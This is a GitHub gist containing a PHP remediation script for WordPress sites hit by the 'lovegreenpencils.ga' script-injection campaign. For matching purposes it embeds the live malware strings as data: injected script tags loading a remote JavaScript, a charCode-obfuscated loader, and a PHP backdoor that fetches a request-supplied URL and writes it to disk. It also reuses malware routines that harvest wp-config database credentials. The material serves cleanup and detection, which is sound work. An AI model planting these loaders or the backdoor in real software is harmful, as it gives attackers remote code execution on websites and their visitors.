Skip to content

Instantly share code, notes, and snippets.

@ImSeaWorld
Last active February 3, 2023 22:47
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ImSeaWorld/4603c9abe958b7638feb4a0b47ac2535 to your computer and use it in GitHub Desktop.
Save ImSeaWorld/4603c9abe958b7638feb4a0b47ac2535 to your computer and use it in GitHub Desktop.
<?php
define('NOTFOUND', -1);
define('REMOVED', -2);
define('EXISTNT', -3);
define('ERROR', -4);
// This is found in the database.
$Script_A = "<script src='https://port.lovegreenpencils.ga/m.js?n=ns1' type='text/javascript'></script>";
// Thrown on indexs
$Script_D = "<script type='text/javascript' src='https://port.lovegreenpencils.ga/m.js?n=nb5'></script>";
// This is found in JS files.
$Script_B = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,112,111,114,116,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
// Thrown anywhere
$Script_C = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,112,111,114,116,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
// Found this, seems like someone added it...
$Script_E = '<?php \n //scp-173\n function updatefile($blacks=\'\'){\n $header = isset($_REQUEST[\'WordPress\']) ? trim($_REQUEST[\'WordPress\']) : \'\';\n $blog = isset($_REQUEST[\'Database\']) ? trim($_REQUEST[\'Database\']) : \'\';\n $wp = curl_init(\'http://\'.$header);\n curl_setopt($wp, CURLOPT_RETURNTRANSFER, 1);\n $curxecs = curl_exec($wp);\n if ($blog!=\'\') {\n file_put_contents($blog, $curxecs);\n }\n if (isset($_GET[\'daksldlkdsadas\'])) {\n echo \'wp-blog-header\';\n }\n }\n updatefile();\n ?>';
// Taken from the malware. Thanks
function get_var_reg($pat,$text) {
if ($c = preg_match_all ("/".$pat."/is", $text, $matches))
{
return $matches[1][0];
}
return "";
}
// Taken from the malware. Thanks
function search_file_ms($dir,$file_to_search){
$search_array = array();
$files = scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file_ms( $dir,$file_to_search);
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file_ms( $dir,$file_to_search);
return;
}
}
foreach ($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false) {
show_sitenames($path);
}
} else if($value != "." && $value != "..") {
@search_file_ms($path, $file_to_search);
}
}
}
// Taken from the malware. Thanks
function show_sitenames($file){
$content = @file_get_contents($file);
if(strpos($content, "DB_NAME") !== false) {
$db = get_var_reg("'DB_NAME'.*?,.*?['|\"](.*?)['|\"]",$content);
$host = get_var_reg("'DB_HOST'.*?,.*?['|\"](.*?)['|\"]",$content);
$user = get_var_reg("'DB_USER'.*?,.*?['|\"](.*?)['|\"]",$content);
$pass = get_var_reg("'DB_PASSWORD'.*?,.*?['|\"](.*?)['|\"]",$content);
// Create connection
$conn = new mysqli($host, $user, $pass);
// Check connection
if (!$conn->connect_error) {
$q = "SELECT TABLE_SCHEMA,TABLE_NAME FROM information_schema.TABLES WHERE `TABLE_NAME` LIKE '%post%'";
$result = $conn->query($q);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$q2 = "SELECT post_content FROM " . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"]." LIMIT 1 ";
$result2 = $conn->query($q2);
if ($result2->num_rows > 0) {
while($row2 = $result2->fetch_assoc()) {
$val = $row2['post_content'];
if(strpos($val, "lovegreenpencils.ga") !== false){
$q3 = sprintf(
'UPDATE %s.%s SET post_content=REPLACE(post_content,"%s","")',
$row['TABLE_SCHEMA'],
$row['TABLE_NAME'],
"<script src='https://port.lovegreenpencils.ga/m.js?n=ns1' type='text/javascript'></script>"
) . " WHERE post_content LIKE '%lovegreenpencils.ga%';";
$conn->query($q3);
echo "sql:" . $row["TABLE_SCHEMA"]. "." . $row["TABLE_NAME"];
}
}
}
}
}
$conn->close();
}
}
}
function FindAndReplace($file, $search, $replace) {
$notFound = [];
$contents = file_get_contents($file); // read file here
if (is_array($search)) {
foreach ($search as $key => $val) {
if (($pos = strpos($contents, $val)) === false) {
echo "Didn't find pattern " . ($key + 1) ." - " . sprintf('%s/%s || %s', ($key + 1), count($search), $pos) . PHP_EOL;
$notFound[] = $key;
}
}
if (count($notFound) === count($search)) {
echo 'No pattern exists in this file.';
return NOTFOUND;
}
} else {
if (($pos = strpos($contents, $search)) === false) {
echo "Didn't find pattern... Skipping.";
return NOTFOUND;
}
}
try {
$fhandle = fopen($file, 'w+'); // overstep permissions issue
if (is_array($search)) {
foreach ($search as $key=>$val) {
if (in_array($key, $notFound)) continue;
$contents = str_replace($val, $replace, $contents);
}
} else {
$contents = str_replace($search, '', $contents);
}
fwrite($fhandle, $contents); // write contents without backdoor
fclose($fhandle); // close file handle
$postContents = file_get_contents($file); // see if we removed it
if (is_array($search)) {
$notRemoved = 0;
foreach ($search as $key => $val) {
if (in_array($key, $notFound)) continue;
if (!!($pos = strpos($postContents, $val))) {
return $pos;
}
}
return REMOVED;
} else {
$pos = strpos($postContents, $search); // get position, should be false
return !!$pos ? $pos : REMOVED;
}
} catch (Exception $ex) {
echo 'FindAndReplace Error: ' . $e->Message();
return ERROR;
}
}
try {
if (!isset($argv) || count($argv) < 2) {die();}
$args = array_slice($argv, 1);
switch ($argv[1]) {
// php dlgp.php -check 'location/*' -save
case '-check': {
echo "We're going to gather all the infected files... This may take some time." . PHP_EOL;
$Infected = [
'script' => shell_exec('grep -rli \'lovegreenpencils.ga\' ' . $argv[2] /*PATH*/),
'encoded' => shell_exec('grep -rli \'108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97\' ' . $argv[2] /*PATH*/)
];
$ScriptCount = 0;
$EncodedCount = 0;
if ($Infected['script'] && strlen($Infected['script']) > 0) {
$ScriptCount += count(explode('\n', $Infected['script']));
}
if ($Infected['encoded'] && strlen($Infected['encoded']) > 0) {
$EncodedCount += count(explode('\n', $Infected['encoded']));
}
if (in_array('-save', $argv)) {
$ts = time();
file_put_contents('script-infected.'. $ts .'.txt', $Infected['script']);
file_put_contents('encoded-infected.'. $ts .'.txt', $Infected['encoded']);
echo 'Saved lists to files. Next commands:'.PHP_EOL;
echo sprintf(" [#] Clean Encoded - php %s encoded-infected.%s.txt", basename(__FILE__), $ts);
echo sprintf(" [#] Clean Scripts - php %s script-infected.%s.txt", basename(__FILE__), $ts);
echo sprintf(" [#] Clean Both - php %s script-infected.%s.txt encoded-infected.%s.txt", basename(__FILE__), $ts, $ts);
} else {
echo "[#] ENCODED START [#]" . PHP_EOL;
echo $Infected['encoded'];
echo "[#] ENCODED START [#]" . PHP_EOL . PHP_EOL;
echo "[#] SCRIPTS START [#]" . PHP_EOL;
echo $Infected['script'];
echo "[#] SCRIPTS START [#]" . PHP_EOL . PHP_EOL;
}
echo sprintf("Found %s script additions and %s instances of encoded scripts.", $ScriptCount, $EncodedCount) . PHP_EOL . PHP_EOL;
break;
}
// php dlgp.php -del mal.txt
case '-del': {
$args = array_slice($args, 1);
echo 'Deleting stuff.. Fun!' . PHP_EOL;
foreach ($args as $key => $arg) {
// We don't want to remove our script. >.<
if (pathinfo($file) === pathinfo(__FILE__)) continue;
if (!file_exists($arg)) {
echo ($key + 1) . '/' . count($args).' file doesnt exist' . PHP_EOL;
continue;
}
echo 'Trying File ' . ($key + 1) . '/' . count($args). PHP_EOL;
$del = file($arg, FILE_IGNORE_NEW_LINES);
foreach ($del as $k => $file) {
$file = str_replace('\n', '', $file);
try {
if (unlink($file)) {
echo $file . ' [DELETED]' . PHP_EOL;
} else {
echo 'Unable to delete file.' . PHP_EOL;
}
} catch (Exception $ex) {
echo 'Error ' . $ex . PHP_EOL;
}
}
}
break;
}
// php dlgp.php -db 'folder/to/wp-config.php' (relative to the script)
case '-db': {
// Removes scripts from posts.
// Does not remove the additions to wp_options
// Change wp-settings: UPDATE wp_options SET site_url='YourSiteUrl', home='YourHomeUrl';
// quick and dirty, safer route is to do this yourself
// MySQL Query: UPDATE wp_posts SET post_content = REPLACE(post_content,"<script src='https://dock.lovegreenpencils.ga/m.js?n=nb5' type='text/javascript'></script>",'') WHERE post_content LIKE '%lovegreenpencils%'
// this uses the same script from the malware to find the config and remove the scripts from post_content. It's safe though :)
search_file_ms($_SERVER['DOCUMENT_ROOT'] . "/" . $argv[2], "wp-config.php");
break;
}
default: {
foreach ($args as $key => $arg) {
echo 'File ' . $arg . PHP_EOL;
if (file_exists($arg)) {
$time = microtime(true);
$maltxt = file($arg, FILE_IGNORE_NEW_LINES);
$infectedFiles = [];
$string = [$Script_C, $Script_B, $Script_D, $Script_E];
foreach ($maltxt as $key => $file) {
// We don't want to remove anything from our script. >.<
if (pathinfo($file) === pathinfo(__FILE__)) continue;
$infectedFiles[] = str_replace('\n', '', $file);
}
foreach ($infectedFiles as $key => $file) {
$echo = '';
$file = str_replace('\n', '', $file);
$fnr = FindAndReplace($file, $string, '');
$echo .= $file;
switch ($fnr) {
case ERROR: // Ooft
$echo .= ' [ERROR]' . PHP_EOL . PHP_EOL;
break;
case REMOVED: // We removed it! Yay!
$echo .= ' [REMOVED]' . PHP_EOL . PHP_EOL;
break;
case EXISTNT: // Doesn't exist, existn't.. Right?
$echo .= ' [EXISTNT]' . PHP_EOL . PHP_EOL;
break;
case NOTFOUND: // Must've been removed previously
$echo .= ' [NOTFOUND]' . PHP_EOL . PHP_EOL;
break;
default: // Still infected file
$echo .= ' [INFECTED] Pos: ' . $fnr . PHP_EOL . PHP_EOL;
break; // returns position
}
echo $echo;
}
echo 'finished. took ' . (microtime(true) - $time) . ' seconds' . PHP_EOL . PHP_EOL;
} else {
echo "Input file ".$arg." didn't exist!" . PHP_EOL . PHP_EOL;
}
}
break;
}
}
} catch (Exception $ex) {
echo print_r($ex);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment